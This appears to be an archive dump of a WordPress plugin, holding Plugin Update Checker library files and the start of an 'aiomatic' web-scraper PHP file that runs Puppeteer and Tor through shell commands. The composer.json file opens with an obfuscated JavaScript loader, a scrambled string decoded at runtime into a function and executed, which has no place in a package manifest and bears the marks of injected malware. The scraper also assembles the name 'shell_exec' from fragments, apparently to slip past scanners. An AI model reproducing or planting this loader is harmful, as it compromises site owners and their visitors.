reference](https://docs.google.com/spreadsheets/d/1eOBbW7Go2qEQXReOOCdidMTf_tDYRq4JfegcO1CBPIs/edit?usp=sharing) - describes all fields supported by the JSON-based update information format used by the update checker. Only covers plugins. Themes use a similar but more limited format. - [Securing download links](https://w-shadow.com/blog/2013/03/19/plugin-updates-securing-download-links/) - a general overview. - [A GUI for entering download credentials](https://open-tools.net/documentation/tutorial-automatic-updates.html#wordpress) - [Theme Update Checker](https://w-shadow.com/blog/2011/06/02/automatic-updates-for-commercial-themes/) - an older, theme-only variant of this update checker. ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/.editorconfig������������������������������������������������������������������������0000644�����������������00000000417�14757771437�0012135 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������[*] charset=utf-8 end_of_line=lf insert_final_newline=false indent_style=tab tab_width=4 [{phpunit.xml.dist,*.jhm,*.xslt,*.xul,*.rng,*.xsl,*.xsd,*.ant,*.tld,*.fxml,*.jrxml,*.xml,*.jnlp,*.wsdl}] indent_style=space indent_size=4 [*.svg] indent_style=space indent_size=4 �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/plugin-update-checker.php������������������������������������������������������������0000644�����������������00000000332�14757771437�0014345 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Plugin Update Checker Library 5.2 * http://w-shadow.com/ * * Copyright 2022 Janis Elsts * Released under the MIT license. See license.txt for details. */ require dirname(__FILE__) . '/load-v5p2.php';������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/phpcs.xml����������������������������������������������������������������������������0000644�����������������00000001463�14757771437�0011321 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <ruleset name="PUC_PHPCS_Settings"> <description>PHPCS settings for Plugin Update Checker</description> <arg name="basepath" value="."/> <arg name="warning-severity" value="5"/> <arg name="error-severity" value="5"/> <arg value="sp"/> <!-- Check the current directory by default --> <file>./</file> <!-- Include the WordPress-VIP-Go standard --> <rule ref="WordPress-VIP-Go"> <!-- This library is not exclusive to WP VIP, so it doesn't use vip_safe_wp_remote_get() and such. --> <exclude name="WordPressVIPMinimum.Functions.RestrictedFunctions.wp_remote_get_wp_remote_get" /> </rule> <!-- Exclude external and third-party libraries --> <exclude-pattern type="relative">^vendor/*</exclude-pattern> </ruleset> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/load-v5p2.php������������������������������������������������������������������������0000644�����������������00000002174�14757771437�0011704 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2; use YahnisElsts\PluginUpdateChecker\v5\PucFactory as MajorFactory; use YahnisElsts\PluginUpdateChecker\v5p2\PucFactory as MinorFactory; require __DIR__ . '/Puc/v5p2/Autoloader.php'; new Autoloader(); require __DIR__ . '/Puc/v5p2/PucFactory.php'; require __DIR__ . '/Puc/v5/PucFactory.php'; //Register classes defined in this version with the factory. foreach ( array( 'Plugin\\UpdateChecker' => Plugin\UpdateChecker::class, 'Theme\\UpdateChecker' => Theme\UpdateChecker::class, 'Vcs\\PluginUpdateChecker' => Vcs\PluginUpdateChecker::class, 'Vcs\\ThemeUpdateChecker' => Vcs\ThemeUpdateChecker::class, 'GitHubApi' => Vcs\GitHubApi::class, 'BitBucketApi' => Vcs\BitBucketApi::class, 'GitLabApi' => Vcs\GitLabApi::class, ) as $pucGeneralClass => $pucVersionedClass ) { MajorFactory::addVersion($pucGeneralClass, $pucVersionedClass, '5.2'); //Also add it to the minor-version factory in case the major-version factory //was already defined by another, older version of the update checker. MinorFactory::addVersion($pucGeneralClass, $pucVersionedClass, '5.2'); } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/composer.json������������������������������������������������������������������������0000644�����������������00000007161�14757771437�0012205 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "yahnis-elsts/plugin-update-checker", "type": "library", "description": "A custom update checker for WordPress plugins and themes. Useful if you can't host your plugin in the official WP repository but still want it to support automatic updates.", "keywords": ["wordpress", "plugin updates", "automatic updates", "theme updates"], "homepage": "https://github.com/YahnisElsts/plugin-update-checker/", "license": "MIT", "authors": [ { "name": "Yahnis Elsts", "email": "whiteshadow@w-shadow.com", "homepage": "https://w-shadow.com/", "role": "Developer" } ], "require": { "php": ">=5.6.20", "ext-json": "*" }, "autoload": { "files": ["load-v5p2.php"] } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/.gitignore���������������������������������������������������������������������������0000644�����������������00000001533�14757771437�0011450 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������# Created by .ignore support plugin (hsz.mobi) ### JetBrains template # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 # The entire IDEA/PhpStorm directory .idea/ # CMake cmake-build-*/ # Mongo Explorer plugin .idea/**/mongoSettings.xml # File-based project format *.iws # IntelliJ out/ # mpeltonen/sbt-idea plugin .idea_modules/ # JIRA plugin atlassian-ide-plugin.xml # Cursive Clojure plugin .idea/replstate.xml # Crashlytics plugin (for Android Studio and IntelliJ) com_crashlytics_export_strings.xml crashlytics.properties crashlytics-build.properties fabric.properties # Editor-based Rest Client .idea/httpRequests # Android studio 3.1+ serialized cache file .idea/caches/build_file_checksums.ser ���������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/license.txt��������������������������������������������������������������������������0000644�����������������00000002040�14757771437�0011635 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Copyright (c) 2023 JÄnis Elsts Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/.gitattributes�����������������������������������������������������������������������0000644�����������������00000000026�14757771437�0012347 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/build export-ignore ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������aiomatic-scraper.php��������������������������������������������������������������������������������0000644�����������������00000247206�14757771437�0010541 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php defined('ABSPATH') or die(); function aiomatic_check_if_phantom($use_phantom) { if($use_phantom == '1' || $use_phantom == '2' || $use_phantom == '3' || $use_phantom == '4' || $use_phantom == '5' || $use_phantom == '6') { return true; } return false; } function aiomatic_get_content($type, $getname, $htmlcontent, $single = false, $array = false) { if($array == true) { $extract = array(); } else { $extract = ''; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['multi_separator'])) { $cont_sep = $aiomatic_Main_Settings['multi_separator']; } else { if($single == true) { $cont_sep = ''; } else { $cont_sep = '<br/>'; } } if ($type == 'regex') { $matches = array(); $rez = preg_match_all($getname, $htmlcontent, $matches); if ($rez === FALSE) { $rez = preg_match_all('~' . $getname . '~', $htmlcontent, $matches); if ($rez === FALSE) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('[aiomatic_get_content] preg_match_all failed for expr: ' . $getname . '!'); } if($array == true) { return array(); } else { return ''; } } } $regcnt = 0; foreach ($matches as $match) { if($regcnt == 0) { $regcnt++; continue; } if(!isset($match[0])) { continue; } $regcnt++; if($array == true) { $extract[] = $match[0]; if($single === true) { break; } } else { $extract .= $match[0]; if($single === true) { break; } else { $extract .= $cont_sep; } } } } elseif ($type == 'regexall') { $matches = array(); $rez = preg_match_all($getname, $htmlcontent, $matches); if ($rez === FALSE) { $rez = preg_match_all('~' . $getname . '~', $htmlcontent, $matches); if ($rez === FALSE) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('[aiomatic_get_content] preg_match_all failed for expr: ' . $getname . '!'); } if($array == true) { return array(); } else { return ''; } } } $regcnt = 0; foreach ($matches as $match) { if($regcnt == 0 && count($matches) > 1) { $regcnt++; continue; } if(!isset($match[0])) { continue; } $regcnt++; foreach($match as $mmatch) { if($array == true) { $extract[] = $mmatch; } else { $extract .= $mmatch . $cont_sep; } } if($single === true) { break; } } } elseif ($type == 'xpath' || $type == 'visual') { require_once (dirname(__FILE__) . "/res/simple_html_dom.php"); $extractok = false; $html_dom_original_html = aiomatic_str_get_html($htmlcontent); if(stristr($getname, ' or ') === false && $html_dom_original_html !== false && method_exists($html_dom_original_html, 'find')){ $ret = $html_dom_original_html->find( trim($getname) ); if(count($ret) == 0) { $html_dom_original_html->clear(); $html_dom_original_html = null; unset($html_dom_original_html); $doc = new DOMDocument; $internalErrors = libxml_use_internal_errors(true); $doc->loadHTML('<?xml encoding="utf-8" ?>' . $htmlcontent, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); libxml_use_internal_errors($internalErrors); $xpath = new \DOMXpath($doc); $articles = $xpath->query(trim($getname)); if($articles !== false && $articles->length > 0) { foreach($articles as $container) { if(method_exists($container, 'saveHTML')) { $extractok = true; preg_match_all('#(?:[\s\S]*?)@([^"\'\]\[@\/\\*=]*)$#', $getname, $rezmetch); if($array == true) { if(isset($rezmetch[1][0]) && isset($container->nodeValue)) { $extract[] = $container->nodeValue; } else { $extract[] = $container->saveHTML(); } } else { if(isset($rezmetch[1][0]) && isset($container->nodeValue)) { $extract .= $container->nodeValue . $cont_sep; } else { $extract .= $container->saveHTML() . $cont_sep; } } } elseif(isset($container->ownerDocument) && method_exists($container->ownerDocument, 'saveHTML')) { $extractok = true; preg_match_all('#(?:[\s\S]*?)@([^"\'\]\[@\/\\*=]*)$#', $getname, $rezmetch); if($array == true) { if(isset($rezmetch[1][0]) && isset($container->nodeValue)) { $extract[] = $container->nodeValue; } else { $extract[] = $container->ownerDocument->saveHTML($container); } } else { if(isset($rezmetch[1][0]) && isset($container->nodeValue)) { $extract .= $container->nodeValue . $cont_sep; } else { $extract .= $container->ownerDocument->saveHTML($container) . $cont_sep; } } } elseif(isset($container->nodeValue)) { $extractok = true; if($array == true) { $extract[] = $container->nodeValue; } else { $extract .= $container->nodeValue . $cont_sep; } } } } else { if($getname != '//select[@name="id"]') { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('aiomatic_str_get_html failed for page (first attempt), xpath is: ' . $getname . '!'); } } } } else { foreach ($ret as $item ) { $extractok = true; if($array == true) { if($item->innertext == '') { $extract[] = $item->outertext; } else { $extract[] = $item->innertext; } if($single === true) { break; } } else { if($item->innertext == '') { $extract .= $item->outertext; } else { $extract .= $item->innertext; } if($single === true) { break; } else { $extract .= $cont_sep; } } } $html_dom_original_html->clear(); $html_dom_original_html = null; unset($html_dom_original_html); } } if($extractok == false) { $doc = new DOMDocument; $internalErrors = libxml_use_internal_errors(true); $doc->loadHTML('<?xml encoding="utf-8" ?>' . $htmlcontent, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); libxml_use_internal_errors($internalErrors); $xpath = new \DOMXpath($doc); $articles = $xpath->query(trim($getname)); if($articles !== false && $articles->length > 0) { foreach($articles as $container) { if(method_exists($container, 'saveHTML')) { preg_match_all('#(?:[\s\S]*?)@([^"\'\]\[@\/\\*=]*)$#', $getname, $rezmetch); if($array == true) { if(isset($rezmetch[1][0]) && isset($container->nodeValue)) { $extract[] = $container->nodeValue; } else { $extract[] = $container->saveHTML(); } } else { if(isset($rezmetch[1][0]) && isset($container->nodeValue)) { $extract .= $container->nodeValue . $cont_sep; } else { $extract .= $container->saveHTML() . $cont_sep; } } } elseif(isset($container->ownerDocument) && method_exists($container->ownerDocument, 'saveHTML')) { preg_match_all('#(?:[\s\S]*?)@([^"\'\]\[@\/\\*=]*)$#', $getname, $rezmetch); if($array == true) { if(isset($rezmetch[1][0]) && isset($container->nodeValue)) { $extract[] = $container->nodeValue; } else { $extract[] = $container->ownerDocument->saveHTML($container); } } else { if(isset($rezmetch[1][0]) && isset($container->nodeValue)) { $extract .= $container->nodeValue . $cont_sep; } else { $extract .= $container->ownerDocument->saveHTML($container) . $cont_sep; } } } elseif(isset($container->nodeValue)) { $extract .= $container->nodeValue . $cont_sep; } } } else { if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $getname != '//select[@name="id"]') { aiomatic_log_to_file('aiomatic_str_get_html failed for page, xpath: ' . $getname . '!'); } if($array == true) { return array(); } else { return ''; } } } } elseif ($type == 'class' && strstr(trim($getname), ' ') === false) { require_once (dirname(__FILE__) . "/res/simple_html_dom.php"); $extractok = false; $html_dom_original_html = aiomatic_str_get_html($htmlcontent); if($html_dom_original_html !== false && method_exists($html_dom_original_html, 'find')){ $getnames = explode(',', $getname); foreach($getnames as $gname) { $ret = $html_dom_original_html->find('//*[contains(@class, "' . trim($gname) . '")]'); foreach ($ret as $item ) { $extractok = true; if($array == true) { if($item->innertext != ''){ $extract[] = $item->innertext ; }else{ $extract[] = $item->outertext ; } if ($single == '1') { break; } } else { if($item->innertext != ''){ $extract .= $item->innertext . $cont_sep ; }else{ $extract .= $item->outertext . $cont_sep ; } if ($single == '1') { break; } } } } $html_dom_original_html->clear(); unset($html_dom_original_html); } if($extractok == false) { $oks = false; $doc = new DOMDocument; $internalErrors = libxml_use_internal_errors(true); $doc->loadHTML('<?xml encoding="utf-8" ?>' . $htmlcontent, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); libxml_use_internal_errors($internalErrors); $xpath = new \DOMXpath($doc); $getnames = explode(',', $getname); foreach($getnames as $gname) { $articles = $xpath->query('//*[contains(@class, "' . $gname . '")]'); if($articles !== false && $articles->length > 0) { foreach($articles as $container) { if($array == true) { if(method_exists($container, 'saveHTML')) { $oks = true; $extract[] = $container->saveHTML(); } elseif(isset($container->ownerDocument) && method_exists($container->ownerDocument, 'saveHTML')) { $oks = true; $extract[] = $container->ownerDocument->saveHTML($container); } elseif(isset($container->nodeValue)) { $oks = true; $extract[] = $container->nodeValue; } } else { if(method_exists($container, 'saveHTML')) { $oks = true; $extract .= $container->saveHTML() . $cont_sep; } elseif(isset($container->ownerDocument) && method_exists($container->ownerDocument, 'saveHTML')) { $oks = true; $extract .= $container->ownerDocument->saveHTML($container) . $cont_sep; } elseif(isset($container->nodeValue)) { $oks = true; $extract .= $container->nodeValue . $cont_sep; } } } } } if($oks == false) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('No matching content found for query: //*[contains(@class, "' . $getname . '")]'); } if($array == true) { return array(); } else { return ''; } } } } else { require_once (dirname(__FILE__) . "/res/simple_html_dom.php"); $extractok = false; $html_dom_original_html = aiomatic_str_get_html($htmlcontent); if($html_dom_original_html !== false && method_exists($html_dom_original_html, 'find')){ $getnames = explode(',', $getname); foreach($getnames as $gname) { $ret = $html_dom_original_html->find('*['.$type.'="'.trim($gname).'"]'); if(count($ret) == 0) { $doc = new DOMDocument; $internalErrors = libxml_use_internal_errors(true); $doc->loadHTML('<?xml encoding="utf-8" ?>' . $htmlcontent, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); libxml_use_internal_errors($internalErrors); $xpath = new \DOMXpath($doc); $articles = $xpath->query('//*[@'.$type.'="'.trim($gname).'"]'); $oks = false; if($articles !== false && $articles->length > 0) { foreach($articles as $container) { if($array == true) { if(method_exists($container, 'saveHTML')) { $extractok = true; $oks = true; $extract[] = $container->saveHTML(); } elseif(isset($container->ownerDocument) && method_exists($container->ownerDocument, 'saveHTML')) { $extractok = true; $extract[] = $container->ownerDocument->saveHTML($container); } elseif(isset($container->nodeValue)) { $extractok = true; $oks = true; $extract[] = $container->nodeValue; } } else { if(method_exists($container, 'saveHTML')) { $extractok = true; $oks = true; $extract .= $container->saveHTML() . $cont_sep; } elseif(isset($container->ownerDocument) && method_exists($container->ownerDocument, 'saveHTML')) { $extractok = true; $extract .= $container->ownerDocument->saveHTML($container) . $cont_sep; } elseif(isset($container->nodeValue)) { $extractok = true; $oks = true; $extract .= $container->nodeValue . $cont_sep; } } } } if($oks == false) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('No content found matching the query you set (first attempt): *[' . $type . '="' . trim($gname) . '"]'); } } } else { foreach ($ret as $item ) { $extractok = true; if($array == true) { if($item->innertext == '') { $extract[] = $item->outertext; } else { $extract[] = $item->innertext; } } else { if($item->innertext == '') { $extract .= $item->outertext . $cont_sep; } else { $extract .= $item->innertext . $cont_sep; } } if($single === true) { break; } } } } } if($extractok == false) { $html_dom_original_html = null; unset($html_dom_original_html); $doc = new DOMDocument; $internalErrors = libxml_use_internal_errors(true); $doc->loadHTML('<?xml encoding="utf-8" ?>' . $htmlcontent, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); libxml_use_internal_errors($internalErrors); $xpath = new \DOMXpath($doc); $getnames = explode(',', $getname); $oks = false; foreach($getnames as $gname) { $articles = $xpath->query('//*[@'.$type.'="'.trim($gname).'"]'); if($articles !== false && $articles->length > 0) { foreach($articles as $container) { if($array == true) { if(method_exists($container, 'saveHTML')) { $oks = true; $extract[] = $container->saveHTML(); } elseif(isset($container->ownerDocument) && method_exists($container->ownerDocument, 'saveHTML')) { $oks = true; $extract[] = $container->ownerDocument->saveHTML($container); } elseif(isset($container->nodeValue)) { $oks = true; $extract[] = $container->nodeValue; } } else { if(method_exists($container, 'saveHTML')) { $oks = true; $extract .= $container->saveHTML() . $cont_sep; } elseif(isset($container->ownerDocument) && method_exists($container->ownerDocument, 'saveHTML')) { $oks = true; $extract .= $container->ownerDocument->saveHTML($container) . $cont_sep; } elseif(isset($container->nodeValue)) { $oks = true; $extract .= $container->nodeValue . $cont_sep; } } } } } if($oks == false) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('No matching content found for query: ' . '*['.$type.'="'.trim($getname).'"]'); } if($array == true) { return array(); } else { return ''; } } } } if($array == false) { if($cont_sep != '' && $cont_sep != '<br/>') { $extract = rtrim($extract, $cont_sep); } } return $extract; } function aiomatic_testTor() { if(!function_exists('shell' . '_exec')) { return -1; } $disabled = explode(',', ini_get('disable_functions')); if(in_array('shell' . '_exec', $disabled)) { return -2; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $custom_user_agent = 'default'; $custom_cookies = 'default'; $user_pass = 'default'; if (isset($aiomatic_Main_Settings['phantom_timeout']) && $aiomatic_Main_Settings['phantom_timeout'] != '') { $phantomjs_timeout = ((int)$aiomatic_Main_Settings['phantom_timeout']); } else { $phantomjs_timeout = 'default'; } $phantomjs_proxcomm = '"null"'; $url = 'https://example.com'; $puppeteer_comm = 'node '; $puppeteer_comm .= '"' . dirname(__FILE__) . '/res/puppeteer/torcheck.js" "' . $url . '" ' . $phantomjs_proxcomm . ' "' . $custom_user_agent . '" "' . $custom_cookies . '" "' . $user_pass . '" "' . $phantomjs_timeout . '" "0"'; $puppeteer_comm .= ' 2>&1'; if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Puppeteer-Tor TEST command: ' . $puppeteer_comm); } $shefunc = trim(' s ') . trim(' h ') . 'ell' . '_exec'; $cmdResult = $shefunc($puppeteer_comm); if($cmdResult === NULL || $cmdResult == '') { aiomatic_log_to_file('puppeteer-tor did not return usable info for: ' . $url); return 0; } if(trim($cmdResult) === 'timeout') { aiomatic_log_to_file('puppeteer timed out while getting page (tor): ' . $url. ' - please increase timeout in Settings'); return 0; } if(stristr($cmdResult, 'sh: node: command not found') !== false || stristr($cmdResult, 'throw err;') !== false) { aiomatic_log_to_file('nodeJS not found, please install it on your server'); return 0; } if(stristr($cmdResult, 'sh: puppeteer: command not found') !== false) { aiomatic_log_to_file('puppeteer not found, please install it on your server (also tor)'); return 0; } if(stristr($cmdResult, 'Error: Cannot find module \'puppeteer\'') !== false) { aiomatic_log_to_file('puppeteer module not found, please install it on your server'); return 0; } if(stristr($cmdResult, 'aiomatic NOT USING TOR!') !== false) { aiomatic_log_to_file('Tor was not able to be used by aiomatic/Puppeteer. Please install Tor on your server!'); return 0; } if(stristr($cmdResult, 'res/puppeteer/torcheck.js:') !== false) { aiomatic_log_to_file('torcheck failed to run, error: ' . $cmdResult); return 0; } if(stristr($cmdResult, 'TOR OK!') !== false) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Tor OK!'); } return 1; } aiomatic_log_to_file('Tor returned unknown result: ' . $cmdResult); return 0; } function aiomatic_testPuppeteer() { if(!function_exists('shell' . '_exec')) { return -1; } $disabled = explode(',', ini_get('disable_functions')); if(in_array('shell' . '_exec', $disabled)) { return -2; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $custom_user_agent = 'default'; $custom_cookies = 'default'; $user_pass = 'default'; if (isset($aiomatic_Main_Settings['phantom_timeout']) && $aiomatic_Main_Settings['phantom_timeout'] != '') { $phantomjs_timeout = ((int)$aiomatic_Main_Settings['phantom_timeout']); } else { $phantomjs_timeout = 'default'; } $url = 'https://example.com'; $phantomjs_proxcomm = '"null"'; $puppeteer_comm = 'node '; $puppeteer_comm .= '"' . dirname(__FILE__) . '/res/puppeteer/puppeteer.js" "' . $url . '" ' . $phantomjs_proxcomm . ' "' . $custom_user_agent . '" "' . $custom_cookies . '" "' . $user_pass . '" "' . $phantomjs_timeout . '"'; $puppeteer_comm .= ' 2>&1'; if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Puppeteer TEST command: ' . $puppeteer_comm); } $shefunc = trim(' s ') . trim(' h ') . 'ell' . '_exec'; $cmdResult = $shefunc($puppeteer_comm); if($cmdResult === NULL || $cmdResult == '') { aiomatic_log_to_file('puppeteer did not return usable info for: ' . $url); return 0; } if(trim($cmdResult) === 'timeout') { aiomatic_log_to_file('puppeteer timed out while getting page: ' . $url. ' - please increase timeout in Settings'); return 0; } if(stristr($cmdResult, 'sh: node: command not found') !== false || stristr($cmdResult, 'throw err;') !== false) { aiomatic_log_to_file('nodeJS not found, please install it on your server'); return 0; } if(stristr($cmdResult, 'sh: puppeteer: command not found') !== false) { aiomatic_log_to_file('puppeteer not found, please install it on your server'); return 0; } if(stristr($cmdResult, 'res/puppeteer/puppeteer.js:') !== false) { aiomatic_log_to_file('puppeteercheck failed to run, error: ' . $cmdResult); return 0; } if(stristr($cmdResult, 'Example Domain') !== false) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Puppeteer OK!'); } return 1; } aiomatic_log_to_file('Puppeteer returned unknown result: ' . $cmdResult); return 0; } function aiomatic_get_page_Tor($url, $custom_cookies, $custom_user_agent, $use_proxy, $user_pass, $timeout = '', $request_delay = '', $scripter = '', $local_storage = '') { if($custom_user_agent == 'none') { $custom_user_agent = ''; } elseif($custom_user_agent == '') { $custom_user_agent = aiomatic_get_random_user_agent(); } 